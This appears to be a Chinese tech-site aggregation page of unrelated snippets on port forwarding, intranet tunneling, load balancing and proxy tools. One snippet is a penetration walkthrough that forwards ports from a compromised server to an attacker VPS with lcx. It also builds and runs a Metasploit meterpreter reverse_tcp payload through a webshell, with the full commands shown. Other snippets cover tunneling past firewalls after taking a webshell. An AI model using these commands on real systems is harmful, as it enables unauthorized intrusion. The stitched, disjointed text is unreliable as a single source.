在PLC的局域网里需要接入一个设备，这个设备具有4G联网或者通过网线联网的功能，这个设备里面有个VPN的客户端，启动后连接到VPN的服务器端。这样在你的电脑上需要安装一个VPN的客户端，启动VPN后，你的电脑就和远程的PLC的局域网构成了一个虚拟局域网，这样就可以实现远程下载程序。
需要实名人脸验证 收费 官网注册按照使用手册就可以实现内网穿透，认证需要手续费，提供免费隧道但是速度慢 https://www.ngrok.cc/ 支持的协议：tcp、http、https 支持的类型：正向代理、反向代理
28181协议全称为GB/T28181《安全防范视频监控联网系统信息传输、交换、控制技术要求》，是由公安部科技信息化局提出，由全国安全防范报警系统标准化技术委员会(SAC/TC100)归口，公安部一所等多家单位共同起草的一部国家标准（以下简称28181）。
负载均衡(Load Balance，简称LB)是一种服务器或网络设备的集群技术。负载均衡将特定的业务(网络服务、网络流量等)分担给多个服务器或网络设备，从而提高了业务处理能力，保证了业务的高可用性。负载均衡基本概念有：实服务、实服务组、虚服务、调度算法、持续性等，其常用应用场景主要是服务器负载均衡，链路负载均衡。
ngrok是一个非常流行的反向代理服务，通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道,支持80端口以及自定义tcp端口转发.ngrok 可捕获和分析所有通道上的流量，便于后期分析和重放,可以进行内网穿透，这样你就可以在内网运行本地的程序,让别人通过公网访问了
若要安装最新版 dotnet-dsrouter NuGet 包，请使用 dotnet tool install 命令：
Proxifier是一款Mac平台下的代理工具软件，它可以帮助用户将网络流量通过代理服务器进行转发，从而实现上网的匿名和安全。通过Proxifier，用户可以使用各种协议和代理类型，包括HTTP、HTTPS、SOCKS v4和v5等。
在大规模业务场景中，已经不可能通过单机提供业务，这就衍生出了负载均衡的需求。为了满足合适可靠的负载，本文将从简单的基础需求出发，一步步推进并解释如何建立负载均衡平台。
设计基于开源的XMPP即时通信协议，采用C／S体系结构，通过GPRS无线网络用TCP协议连接到服务器，以架设开源的Openfn'e服务器作为即时通讯平台。 系统主要由以下部分组成：一是服务器，负责管理发出的连接或者与其他实体的会话，接收或转发XML(ExtensibleMarkup Language)流元素给授权的客户端、服务器等；二是客户终端。它与服务器相连，通过XMPP获得由服务器或任何其它相关的服务所提供的全部功能。三是协议网关。完成XMPP协议传输的信息与外部消息系统可识别信息间的
七层负载均衡：负载均衡器与客户端及后端的服务器会分别建立一个TCP连接。即两次TCP连接。
0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP，不过都失败了，第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地，然后再用lcx把Filezilla Server的14147端口转发出来，lcx执行命令如下。 首先VPS机器监听51端口，连接用14147端口： VPS机器执行： C:\>lcx.exe -listen 51 14147 目标机器执行： /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上，返回右上图这样的报错，Google翻译报错信息得知：协议错误：未通过身份验证，关闭连接，连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接，而且我们本地机器也成功的返回了数据，但是好像返回的数据信息中有错误，如下图。 当前问题： 不能正常把目标服务器的FileZilla Server 14147端口给转发出来，返回数据中出错了，所以无法在本地连接上FileZilla Server服务端。 解决办法： 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件，然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下，那么就需要先在路由器里进行端口映射配置，然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件，命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下，然后进入到MSF完成所有必填的配置选项，执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听，然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件，如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话，然后直接使用portfwd命令进行端口转发即可，执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后，我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/125088.html原文链接：https://javaforall.cn
nginx转发rtmp流 场景描述：服务器1使用nginx-rtmp-module搭建了基于nginx的rtmp推流平台，用户推rtmp流只能推到服务器2，然后转发到服务器1。nginx默认只能转发http，转发rtmp需要另外编译转发tcp的模块。要求nginx版本大于1.9。
上一节中，我们讲解了网络层的隧道技术（IPv6 隧道、ICMP 隧道）和传输层的隧道技术（TCP 隧道、UDP 隧道、常规端口转发）。现如今，TCP、UDP 通信大量被防御系统拦截，传统的Socket隧道也已经濒临淘汰，DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中，我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解，由于小编能力太菜，很多东东也是现学现卖，应用层的DNS隧道我会在未来专门写一个专题进行讲解。
最近在在物联网相关项目的开发的时候，有用到物联网常用的通信协议--MQTT协议，刚开始对这一块的知识并不是很了解，所以在这里一边学习一边记录，有不合理的地方还希望能多多指正。
Haproxy是一个使用c语言开发的高性能负载均衡代理软件，提供tcp和http的应用程序代理，免费、快速且可靠。
负载均衡(Load Balancing)就是一种网络技术,是用来将工作负载分布到多个服务器上,提高资源利用率、最大化吞吐量、最小化响应时间、避免单个服务器过载，提高了系统的性能和可靠性。
本文以渗透的视角，总结几种个人常用的内网穿透，内网代理工具，介绍其简单原理和使用方法。
阅读本文前，需要先拥有一台服务器，并完成frp服务端的搭建，frp服务端搭建详细步骤可以参考我上篇文章:
在我们拿下一个Webshell的时候，我们没办法把一些工具上传到目标服务器上去使用，那样可能会有风险，而且有的时候还没有特定的环境来使用工具。这个时候我们就可以使用内网穿透来吧服务器的流量代理到本地，就相当于我们是在内网环境，我们就可以使用自己PC上的工具对内网进行扫描，内网渗透，域渗透等等。
Date/time：2013年，早想写这篇文章了，由于最近一直很忙，拖了半个月才抽出时间来写，这篇文章主要记录的是我在一次提权过程中遇到的问题和解决办法，在这里特别感谢@烟神、@落寞两位大哥的耐心指导与讲解。这个站点使用Asp + Access，一个很普通的SQL注入漏洞，这里就不详细写了。
ICMP是一个比较特殊的协议，在一般的通信协议里如果两台设备要进行通信，肯定需要开放端口，而在ICMP协议下就不需要，最常见的ICMP消息为ping命令的回复，攻击者可以利用命令行得到比回复更多的ICMP请求，在通常情况下，每个ping命令都有相对应的回复与请求
在企业安全对抗中，红方攻击团队经常会遇到这种情况，在企业的网络边界上获取到部分权限，比如一个web服务器的webshell，然而如何更方便的进行下一步的渗透呢？如何对内网进行渗透测试，这时就需要隧道转发技术，穿透边界防火墙、安全代理等安全设备，进行深层次的安全测试。本文的主要内容是穿透内网的各种姿势。
深圳上周受台风“苏拉”影响，从 9 月 1 日 12 时起在全市启动防台风和防汛一级应急响应。
在这之前，我们相继卷完了：关系型数据库 MySQL 、 NoSQL 数据库 Redis 、 MongoDB 、搜索引擎 ElasticSearch 、大数据 Hadoop框架、PostgreSQL 数据库、消息中间件 Kafka、分布式协调中间件 Zookeeper、消息中间件 RabbitMQ、企业级监控平台、企业常用应用与服务等这些系列的知识体系。
国内外云服务上大部分已经不支持域前置了，作者在阿里云刚刚复现成功…… 这里做简单的流程演示和相关的溯源分析
计算机集群通过一组松散集成的计算机软件和/或硬件连接起来高度紧密地协作完成计算工作。在某种意义上，他们可以被看作是一台计算机。集群系统中的单个计算机通常称为节点，通常通过局域网连接，但也有其它的可能连接方式。集群计算机通常用来改进单个计算机的计算速度和/或可靠性。一般情况下集群计算机比单个计算机，比如工作站或超级计算机性能价格比要高得多。 比如单个重负载的运算分担到多台节点设备上做并行处理，每个节点设备处理结束后，将结果汇总，返回给用户，系统处理能力得到大幅度提高。一般分为几种：
Whistle 是一个基于 Node.js 的跨平台抓包调试代理工具。它不仅支持 HTTP 和 HTTPS 请求的截获和修改，还支持 WebSocket、TCP 等多种协议。通过简单的配置，开发者可以轻松实现流量监控、数据篡改、请求转发、Mock 数据等功能。
简单看下即可，由于含有定制化业务背景，架构图看不懂也没关系，后面我会对里面的核心技术点单独剖析讲解
目前支持tcp、udp流量转发，可支持任何tcp、udp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面，内网dns解析等等……）。
Keac师傅问我有没有试过使用pierced上线CS，我之前是不知道这个东西是啥的，后来去了看了一下，发现是一个利用某个开发平台的工具，作用是可以把本地搭建的服务器转发到平台提供的服务器上，这个工具就是将这个功能整合到一起，这样方便开发，工具支持HTTP和TCP转发，就是内网穿透工具。
大牛直播SDK(Github)多路RTMP/RTSP转RTMP转发软件，系原有转发SDK基础上，官方推出的Windows平台定制版。在秉承低延迟、灵活稳定、低资源占用的前提下，客户无需关注开发细节，只需图形化配置转发等各类参数，实现产品快速上线目的。
有时候需要远程调试一些用户问题，期望能使用本机的 Visual Studio 开发环境，调试远程的用户的设备上的应用。这时会遇到的一个问题是如何让本机的 Visual Studio 可以连接上远程的用户的设备，从而进行调试。本文将告诉大家如何采用 FastTunnel 工具，让本机的 Visual Studio 和远程的用户的设备建立调试联系，搭建远程调试环境，从而支持远程调试
EasyDarwin 是基于 go 语言研发，维护和优化的一个高性能开源 RTSP 流媒体服务器，能够帮助流媒体开发者和创业型企业快速构建流媒体服务平台，更快，更简单的实现最新的移动互联网流媒体直播和点播，同步音频和视频的传输，源码下载地址：
在实际的网络中，通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况，如果发现异样，就会对通信进行阻断。那么什么是隧道呢？这里的隧道，就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装，然后穿过防火墙，与对方进行通信。当封装的数据包到达目的地时，将数据包还原，并将还原后的数据包发送到相应服务器上。
一，什么是负载均衡（Load balancing） 在网站创立初期，我们一般都使用单台机器对台提供集中式服务，但是随着业务量越来越大，无论是性能上还是稳定性上都有了更大的挑战。这时候我们就会想到通
计算机科学领域的任何问题都可以通过增加一个间接的中间层来解决。 如果还不能解决，那就加两层，加四层，加七层。OSI七层模型虽然没有得到普及应用，但是其抽象的设计理念及其失败原因有利于我们更加深入地了解互联网底层通信机制以及 TCP/IP 协议簇。 不管是四层还是七层，能通信的就是好模型！
很多时候我们搭建某些服务后，发现本地连接效果不给力，但是我们有一个国内机器，由于国内机器出去走BGP线路，国内机器连接国外效果好，本地连接国内效果也不错，这样我们就可以搭建一个跳板，从国内去连接国外服
其中，腾讯云架构平台部应用框架组TQUIC(https://github.com/Tencent/tquic)团队结合长期的开发和实践经验， 并与南方科技大学李清老师开展前沿研究探索，提出了一种更高效的QUIC流量转发框架QDSR。高动态内容请求和不断增长的下行中继转发服务使得7层QUIC转发工作负载过大，导致运营成本上升和端到端服务质量下降。为了解决这一问题，QDSR采用了QUIC和直接服务器返回（Direct Server Return，DSR）技术，使得真实服务器能够同时直接向客户端发送数据，消除了传统七层过重的冗余中继转发。因此，QDSR不仅仅实现了高性能、低延迟，并且几乎消除了额外的下行链路中继开销，为云服务提供商提供了一种创新且高效的解决方案。此项论文受到了USENIX ATC 2024高度认可并被录用。
Termius是一款跨平台SSH和Telnet客户端，支持Mac、Windows和Linux等操作系统。它可以帮助用户在本地计算机上轻松管理多个远程服务器，并提供了许多强大的功能，例如多项身份验证、文件传输、端口转发以及完整的终端仿真。
SOCKS是一种代理服务，可以简单地将一端的系统连接另一 端。 SOCKS支持多种协议，包括HTTP、FTP等。SOCKS分为SOCKS 4和SOCKS 5两种类型： SOCKS 4只支持TCP协议；SOCKS5不仅支持TCP/UDP协议，还支持各种身份验证机制等，其标准端口为1080.SOCKS能够与目标内网计算机进行通信，避免多次使用端口转发。
背景： 服务器A：103.110.114.8/192.168.1.8，有外网ip，是IDC的一台服务器 服务器B：192.168.1.150，没有外网ip，A服务器是它的宿主机，能相互ping通 服务器C：192.168.9.120，是公司的一台服务器，能上网。 服务器C可以直接ssh登陆A服务器，但是不能直接登陆服务器B，因为它们处在两个不同的局域网内。 现在要求能从服务器C上ssh登陆服务器B，并且做ssh无密码信任跳转关系。 这就需要用到iptables的NAT端口转发功能了~~~~~ 思路： 让服务
随着大数据时代的发展，网络爬虫的用户也越来越多，随之HTTP代理成了网络爬虫的不可缺少的一部分。使用过http代理的都清楚，，使用代理ip的基础流程是这样的：爬虫用户使用程序发送请求到代理服务器，代理服务器将请求转发到目标网站，目标网站处理完后返回结果，代理服务器收到反馈到结果后将信息转发到客户端，这样就完成了一次代理请求。整个过程中，代理服务器就充当了一个转发请求和结果的作用。HTTP代理分为隧道代理和外网代理IP。有通过API提取的也有动态转发的爬虫代理。那什么是隧道IP呢？
由于实验室拟态存储的项目需要通过NAT模式来映射NFS服务器已实现负载均衡的目的，通过调研了多种负载均衡机制，笔者最终选择了LVS的NAT模式来实现需求，接下来通过博客来记录一下LVS-NAT模式的配置流程。
在后渗透中内网隧道是必不可少的，在能够TCP出网的情况下搭建隧道是最容易的，使用frp即稳定又方便，搭建几级代理都不是问题。但是也有很多TCP不出网的情况，在这种场景下搭建隧道就要另寻门路了。为了方便学习内网隧道技术，我在公司的内网环境搭建了基于windows系统的苛刻的隧道环境，其实很简单，都是windows自带防火墙的一些规则策略。通过各种尝试，终于完成此环境(不知道有没有别的问题)，现在把过程分享给大家~路过的师傅都来看看呀，有不正确的地方求教教我^^
互联网早期，业务流量比较小并且业务逻辑比较简单，单台服务器便可以满足基本的需求；但随着互联网的发展，业务流量越来越大并且业务逻辑也越来越复杂，单台机器的性能问题以及单点问题凸显了出来，因此需要多台机器来进行性能的水平扩展以及避免单点故障。但是要如何将不同的用户的流量分发到不同的服务器上面呢？
因为一些特殊原因，我需要用到端口转发功能，这个功能是这样的，我有2台服务器：A和B，分别是2个不同IP。2台服务器各自的特点是：A网络好，性能差；B网络差，但性能强。(此处“网络”只针对大陆IP访问的网络性能) 所以我的网站放在B上，但是要通过A服务器的IP去访问B服务器上的网站。（注意，这里只是拿放网站做例子，如果只放网站的话，使用nginx做反向代理即可。如果是其他的服务，就需要使用本文章说的端口转发。） 例如： A服务器IP：1.1.1.1 B服务器IP：2.2.2.2 通过网上找到的资料，
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
云直播
